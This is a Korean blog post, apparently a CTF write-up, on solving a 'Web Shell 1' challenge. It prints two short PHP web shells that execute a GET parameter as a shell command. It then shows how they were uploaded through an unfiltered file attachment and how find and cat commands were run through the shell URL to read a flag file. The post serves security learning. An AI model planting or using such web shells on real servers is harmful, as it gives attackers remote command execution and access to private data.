상세 컨텐츠

본문 제목

Segfault CTF - (14주 차) Web Shell 1

컴퓨터/보안 - CTF문제

by 디멘터 2024. 7. 21. 14:16

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - Web Shell 1

 

1. 목표 : php 웹 쉘로 flag.txt 파일을 찾고 내용을 파악하여 플래그 획득

 

2. 접근 방법 

  • PHP로 웹쉘을 업로드하고 명령을 실행해 보면 될 것 같다.

3. 실행

  • php코드 작성
    2개를 작성해 보았다.

    -------websehll1.php------- 
    <?php
    // websehll1.php
        echo system($_GET['cmd']);
    ?>
    ----------------------------------

    ☞ 아래 코드는 오히려 출력시 한글이 깨지므로 webshell1.php 방식으로 하는 것을 추천 드립니다.
    --------------websehll2.php --------------
    <?php
    // webshell2.php
    if (isset($_GET['cmd'])) {
       
        $output = shell_exec($_GET['cmd']);
        // 쉘 실행후 결과를 output 변수에 저장
        $output_utf8 = mb_convert_encoding($output, 'UTF-8', 'CP949');
        // output 변수를 UTF-8로 변환, 한글 없다면 변환하지 않아도 됨.
        echo "<pre>$output_utf8</pre>";
        // 변환된 결과를 출력

    } else {
        echo "No command.";
        // cmd 파라미터가 없는 경우 출력
    }
    ?>
    -------------------------------------------------------------------

    현재 배우는 단계라서 1번 정도만 작성해도 괜찮은데,
    두 개를 작성해 본 이유는 1번 웹쉘은 한글 깨짐이 있고,
    자꾸 백신에서 탐지하여 타이핑하는 순간 삭제해 버려서 2번도 작성해 보았다.
    VS code로 저장하기도 전, 타이핑만 해도 탐지해버린다. 백신은 항상 모든 것을 지켜보고 있다.



  • 게시글과 함께 웹 쉘 php를 업로드한다. (webshell1 , webshell2 두 게시글에 각각 웹 쉡을 업로드하였다.)
    별 다른 필터링이 없는 문제여서 간단하게 업로드 할 수 있다.


  • 업로드 한 php 코드를 WAS가 실행시키기 위해 저장 경로를 알아내야 한다.
    실제 환경에서는 보안상 잘 안될 수도 있는 부분이긴 한데,
    일단 현재 문제에서는 다운로드 링크가 경로라서 쉽게 해결했다.

    서버의 세부 경로를 가리거나 다른 경로로 변경해 놓았더라도,
    '다운로드 링크' 만큼은 클라이언트가 알아야 다운로드가 가능하기 때문에,
    Burp suite나 브라우저에서도 쉽게 알 수 있다.
    다운로드 링크가 경로였다.
    webshell2.php를 이용했다. pwd를 입력해보니 잘 작동한다.
  • 이제 플래그를 찾기 위해
    명령어에 find / -name flag.txt를 입력해 준다. 리눅스의 이름으로 파일 찾기 명령어이다.
    http://ctf.segfaulthub.com:8989/webshell_1/files/t1234/webshell2.php?cmd=find / flag.txt를 입력해 준다.
  • 플래그를 flag.txt 파일 내용을 보기 위해
    cat /app/webshell_1/important_data/flag.txt로 열어본다.
    http://ctf.segfaulthub.com:8989/webshell_1/files/t1234/webshell2.php?cmd=cat  /app /webshell_1/important_data/flag.txt 를 입력해 준다.
    플래그 획득!
  • WebShell1.php과 WebShell2.php의 간단한 차이 


    큰 의미는 없지만 UTF-8로, 한글 지원과 여러 줄 처리에 있어서 webshell2.php 코드가 가독성이 좋았다.
    ☞ 테스트해보니 오히려 한글이 깨지는 현상이 있으므로 Webshell1.php 방식으로 하는 것을 추천드립니다.
    webshell1.php

    webshell2.php
    끝.

관련글 더보기